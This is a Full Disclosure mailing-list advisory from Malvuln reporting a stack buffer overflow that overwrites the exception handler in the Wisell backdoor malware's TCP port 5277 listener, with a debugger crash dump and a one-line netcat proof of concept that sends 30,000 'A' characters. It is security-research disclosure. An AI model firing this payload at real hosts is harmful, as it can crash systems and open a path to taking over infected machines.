full-disclosure - [FD] Backdoor.Win32.Wisell / Stack Buffer Overflow (SEH)

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Message-ID: <CAAHK0WQ=20wwvdtQv8DRfz9YyznWcZ3r152NBSZ8GaSFiea5WA@mail.gmail.com>
Date: Thu, 7 Apr 2022 00:13:01 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wisell / Stack Buffer Overflow (SEH)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/837ec70bfb305b5c862ff9b04e70a318_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 5277. Attackers who can reach
the infected system can send a specially crafted packet triggering a stack
buffer overflow overwriting the structured exception handler (SEH).
Family: Wisell
Type: PE32
MD5: 837ec70bfb305b5c862ff9b04e70a318
Vuln ID: MVID-2022-0541
Dropped files:
ASLR: Not Enabled
DEP: Not Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 04/06/2022

Memory Dump:
The stored exception information can be accessed via .ecxr.
(1598.1748): Stack buffer overflow - code c0000409 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=e748a741 edx=00000000 esi=00000000
edi=00000002
eip=7770ed3c esp=029bf7e8 ebp=029bf828 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:003> .ecxr
eax=00000149 ebx=0254f908 ecx=e748a741 edx=00000000 esi=00000001
edi=0000014a
eip=0040192e esp=029bfe98 ebp=029bff80 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
Backdoor_Win32_Wisell_837ec70bfb305b5c862ff9b04e70a318+0x192e:
0040192e 888c0537ffffff  mov     byte ptr [ebp+eax-0C9h],cl
ss:002b:029c0000=??

0:003> !exchain
029bf8a0: ntdll!_except_handler4+0 (77716a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (777557ad)
029bffcc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('A'*30000)" | nc64.exe x.x.x.x 5277

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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